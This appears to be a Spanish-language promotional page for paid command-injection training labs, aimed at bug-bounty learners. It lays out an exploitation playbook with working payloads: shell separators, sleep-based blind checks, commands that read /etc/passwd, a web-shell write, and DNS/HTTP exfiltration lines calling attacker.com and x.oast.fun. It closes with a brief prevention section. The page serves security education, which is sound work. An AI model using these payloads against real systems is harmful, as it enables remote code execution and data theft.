Nuevos labs cada semana — Accede a todos desde 7,99€/mes

Labs de Command Injection

OS Command Injection

¿Qué es Command Injection?

La Command Injection ocurre cuando entrada del usuario se concatena en una llamada a shell del sistema operativo. Permite ejecutar comandos arbitrarios con los privilegios del proceso web — habitualmente RCE inmediata y comprometer toda la máquina.

¿Por qué practicar Command Injection?

Es una de las pocas vulnerabilidades que da RCE directa sin chains complejas. Aparece en features de export (PDF generators, image conversion via ffmpeg/imagemagick), tools admin (ping/whois/traceroute) y wrappers de scripts shell. Bounties: P1 inmediato, $5,000-$50,000.

¿Qué aprenderás con los labs de Command Injection?

Aprenderás separadores que pasan filtros débiles (`;` `&&` `||` `|` `$()` backticks), técnicas blind con DNS callback (curl `attacker.com/$(whoami)`), exfil via timing y bypass de blacklists con bash brace expansion ({c,a,t} /etc/passwd).

Tipos de Command Injection que cubrimos

  • In-band

    El output del comando se devuelve en la respuesta HTTP. El más fácil de detectar (probar `id` y ver `uid=33(www-data)`).

  • Blind

    Sin output visible. Detectas con sleep / DNS callback / file write. Confirmas con `; sleep 10` y comparas latencia.

  • Argument injection

    El parámetro va a un comando como argumento (ej. ffmpeg -i FILE). Inyectar `--config /tmp/x` o `-y -filter_complex ...` para abusar del binario.

¿Cómo encontrar y explotar Command Injection?

Playbook práctico — del recon a la prueba de concepto.

  1. 1

    Encontrar features que llaman a la shell

    Herramientas de red (ping, nslookup, traceroute, whois), conversores (ffmpeg, imagemagick), exportadores y wrappers de scripts son los nidos típicos.

    POST /tools/ping   {"host":"8.8.8.8"}
  2. 2

    Inyectar un separador

    Encadena tu comando con separadores de shell. Empieza por uno in-band para ver el output directamente.

    8.8.8.8; id   ·   8.8.8.8 && id   ·   8.8.8.8 | id
  3. 3

    Confirmar a ciegas

    Sin output, mide latencia con sleep o usa una sustitución de comando dentro de un ping para ver retardo, y un callback DNS para exfiltrar.

    8.8.8.8 & sleep 10   ·   8.8.8.8; nslookup `whoami`.x.oast.fun
  4. 4

    Exfiltrar por DNS/HTTP

    Mete la salida del comando en un subdominio o path de tu collaborator. Funciona aunque la respuesta HTTP no muestre nada.

    ; curl http://x.oast.fun/$(id|base64)
  5. 5

    Bypassear blacklists y filtros

    Si filtran espacios o palabras, usa ${IFS}, brace expansion, comillas intercaladas o variables para reconstruir el comando.

    {cat,/etc/passwd}   ·   c\at /etc/pas$@swd   ·   cat${IFS}/etc/passwd
  6. 6

    Detectar argument injection

    Si tu input es un argumento (no toda la línea), abusa de flags del binario para leer/escribir ficheros o lanzar otro proceso.

    ffmpeg -i "FILE" → FILE = '-i /etc/passwd -f data ...' / curl -o /var/www/shell.php

Preguntas frecuentes

¿Qué es la Command Injection?

Es una vulnerabilidad en la que input del usuario se concatena en una llamada a la shell del sistema operativo, permitiendo ejecutar comandos arbitrarios con los privilegios del proceso web. Suele ser RCE directa.

¿Cómo se explota una Command Injection?

Se inyecta un separador de shell (;, &&, |, $(), backticks) seguido del comando deseado. Si hay output se ve en la respuesta (in-band); si no, se confirma a ciegas con sleep o un callback DNS y se exfiltra la salida codificada.

¿Cómo encontrar Command Injection en bug bounty?

Apunta a features que invocan binarios del sistema: ping/traceroute, conversores de imagen/PDF (ffmpeg, imagemagick), exportadores y herramientas admin. Inyecta separadores y un callback DNS; si recibes la interacción, hay RCE.

¿Cómo prevenir la Command Injection?

Evita llamar a la shell con input del usuario; usa APIs nativas del lenguaje en lugar de comandos, pasa argumentos como array (sin shell intermedia), aplica allowlist estricta de valores y nunca interpoles strings en exec/system.

¿Diferencia entre Command Injection y Code Injection?

La Command Injection ejecuta comandos del sistema operativo a través de la shell. La Code Injection (p. ej. SSTI o eval) ejecuta código en el lenguaje de la aplicación. Ambas acaban a menudo en RCE, pero el vector y los payloads son distintos.

Empieza con labs de Command Injection

Practica OS Command Injection con labs basados en reportes reales. En español. Desde 7,99€/mes.

Empieza con el primer lab de Command Injection